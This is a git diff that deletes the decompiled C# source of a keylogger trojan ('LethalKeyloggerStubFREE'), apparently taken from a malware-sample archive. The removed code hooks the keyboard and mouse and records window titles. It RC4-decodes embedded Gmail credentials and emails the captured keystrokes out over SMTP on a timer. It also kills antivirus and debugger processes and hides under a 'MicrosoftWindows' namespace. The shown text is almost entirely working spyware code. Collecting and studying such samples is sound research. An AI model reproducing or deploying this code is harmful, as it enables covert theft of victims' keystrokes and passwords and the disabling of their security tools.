"[pause]"; - else if (Key == Keys.F1) - this.innerz666.Text += "[F1]"; - else if (Key == Keys.F2) - this.innerz666.Text += "[F2]"; - else if (Key == Keys.F3) - this.innerz666.Text += "[F3]"; - else if (Key == Keys.F4) - { - this.innerz666.Text += "[F4]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - else if (Key == Keys.F5) - this.innerz666.Text += "[F5]"; - else if (Key == Keys.F6) - this.innerz666.Text += "[F6]"; - else if (Key == Keys.F7) - this.innerz666.Text += "[F7]"; - else if (Key == Keys.F8) - this.innerz666.Text += "[F8]"; - else if (Key == Keys.F9) - this.innerz666.Text += "[F9]"; - else if (Key == Keys.F10) - this.innerz666.Text += "[F10]"; - else if (Key == Keys.F11) - this.innerz666.Text += "[F11]"; - else if (Key == Keys.F12) - this.innerz666.Text += "[F12]"; - else if (Key == Keys.F13) - this.innerz666.Text += "[F13]"; - else if (Key == Keys.F14) - this.innerz666.Text += "[F14]"; - else if (Key == Keys.F15) - this.innerz666.Text += "[F15]"; - else if (Key == Keys.NumPad0) - this.innerz666.Text += "0"; - else if (Key == Keys.NumPad1) - this.innerz666.Text += "1"; - else if (Key == Keys.NumPad2) - this.innerz666.Text += "2"; - else if (Key == Keys.NumPad3) - this.innerz666.Text += "3"; - else if (Key == Keys.NumPad4) - this.innerz666.Text += "4"; - else if (Key == Keys.NumPad5) - this.innerz666.Text += "5"; - else if (Key == Keys.NumPad6) - this.innerz666.Text += "6"; - else if (Key == Keys.NumPad7) - this.innerz666.Text += "7"; - else if (Key == Keys.NumPad8) - this.innerz666.Text += "8"; - else if (Key == Keys.NumPad9) - { - this.innerz666.Text += "9"; - } - else - { - if (Key != Keys.NumLock) - return; - this.innerz666.Text += "[numlock]"; - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(long vkey); - - private void Timer2_Tick(object sender, EventArgs e) - { - if (!MyProject.Computer.Network.IsAvailable) - return; - try - { - this.esendz666.Text = Form1.rc4(this.interz666.Text, "9pz666"); - try - { - this.esendx666.Text = Form1.rc4(this.interx666.Text, "9pz667"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - new SmtpClient() - { - Host = "smtp.gmail.com", - Port = Conversions.ToInteger("587"), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.esendz666.Text, this.esendx666.Text)), - EnableSsl = true - }.Send(new MailMessage() - { - From = new MailAddress(this.esendz666.Text), - To = { - this.esendz666.Text - }, - Body = this.innerz666.Text, - Subject = "Lethal Keylogs" - }); - this.innerz666.Clear(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string rc4(string message, string esendx666word) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = esendx666word.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = esendx666word.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (Form1.GetAsyncKeyState(2L) == -32767) - { - this.innerz666.Text += "[RB]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) != 0) - { - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n\r\n"; - } - } - if (Form1.GetAsyncKeyState(1L) != -32767) - return; - this.innerz666.Text += "[LB]"; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) == 0) - return; - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n\r\n"; - } - - private void Timer3_Tick(object sender, EventArgs e) - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(this.check9, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("sample"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check10, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("outpost"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check11, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("npfmsg"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check12, "Yes", false) == 0 && Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("bdagent"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check18, "Yes", false) == 0 && Operators.CompareString(Strings.LCase(processes[index].ProcessName), Strings.LCase("keyscrambler"), false) == 0) - processes[index].Kill(); - if (Operators.CompareString(this.check21, "Yes", false) == 0 && Operators.CompareString(Strings.LCase(processes[index].ProcessName), Strings.LCase("ollydbg"), false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public class KeyboardHook - { - private const int HC_ACTION = 0; - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private const int WM_KEYUP = 257; - private const int WM_SYSKEYDOWN = 260; - private const int WM_SYSKEYUP = 261; - private static int KeyHook; - private static Form1.KeyboardHook.KeyboardProcDelegate KeyHookDelegate; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Form1.KeyboardHook.KeyboardProcDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int hHook); - - public static event Form1.KeyboardHook.KeyDownEventHandler KeyDown; - - public static event Form1.KeyboardHook.KeyUpEventHandler KeyUp; - - public KeyboardHook() - { - Form1.KeyboardHook.KeyHookDelegate = new Form1.KeyboardHook.KeyboardProcDelegate(Form1.KeyboardHook.KeyboardProc); - Form1.KeyboardHook.KeyHook = Form1.KeyboardHook.SetWindowsHookEx(13, Form1.KeyboardHook.KeyHookDelegate, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int KeyboardProc( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam) - { - if (nCode == 0) - { - switch (wParam) - { - case 256: - case 260: - Form1.KeyboardHook.KeyDownEventHandler keyDownEvent = Form1.KeyboardHook.KeyDownEvent; - if (keyDownEvent != null) - { - keyDownEvent((Keys) lParam.vkCode); - break; - } - break; - case 257: - case 261: - Form1.KeyboardHook.KeyUpEventHandler keyUpEvent = Form1.KeyboardHook.KeyUpEvent; - if (keyUpEvent != null) - { - keyUpEvent((Keys) lParam.vkCode); - break; - } - break; - } - } - return Form1.KeyboardHook.CallNextHookEx(Form1.KeyboardHook.KeyHook, nCode, wParam, lParam); - } - - ~KeyboardHook() - { - Form1.KeyboardHook.UnhookWindowsHookEx(Form1.KeyboardHook.KeyHook); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct KBDLLHOOKSTRUCT - { - public int vkCode; - public int scancode; - public int flags; - public int time; - public int dwExtraInfo; - } - - private delegate int KeyboardProcDelegate( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - public delegate void KeyDownEventHandler(Keys Key); - - public delegate void KeyUpEventHandler(Keys Key); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MyApplication.cs deleted file mode 100644 index d050763f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyApplication -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace MicrosoftWindows.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [STAThread] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MyComputer.cs deleted file mode 100644 index 8b769737..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyComputer -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace MicrosoftWindows.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MyProject.cs deleted file mode 100644 index 60fbd716..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MyProject -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace MicrosoftWindows.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MySettings.cs deleted file mode 100644 index 0c197ce8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MySettings.cs +++ /dev/null @@ -1,82 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MySettings -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace MicrosoftWindows.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - - [UserScopedSetting] - [DefaultSettingValue("True")] - [DebuggerNonUserCode] - public bool runonce - { - get => Conversions.ToBoolean(this[nameof (runonce)]); - set => this[nameof (runonce)] = (object) value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MySettingsProperty.cs deleted file mode 100644 index 487c8a91..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MySettingsProperty -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace MicrosoftWindows.My -{ - [DebuggerNonUserCode] - [StandardModule] - [HideModuleName] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/Resources/Resources.cs deleted file mode 100644 index 850b899f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.Resources.Resources -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace MicrosoftWindows.My.Resources -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) MicrosoftWindows.My.Resources.Resources.resourceMan, (object) null)) - MicrosoftWindows.My.Resources.Resources.resourceMan = new ResourceManager("MicrosoftWindows.Resources", typeof (MicrosoftWindows.My.Resources.Resources).Assembly); - return MicrosoftWindows.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => MicrosoftWindows.My.Resources.Resources.resourceCulture; - set => MicrosoftWindows.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Trojan-Spy.MSIL.KeyLogger.cuw.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Trojan-Spy.MSIL.KeyLogger.cuw.csproj deleted file mode 100644 index 77b9605e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Trojan-Spy.MSIL.KeyLogger.cuw.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {C7F40FD9-B86B-4E3B-B019-43DE7A005067} - WinExe - LethalKeyloggerStubFREE - 1.0.0.0 - MicrosoftWindows - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Trojan-Spy.MSIL.KeyLogger.cuw.sln 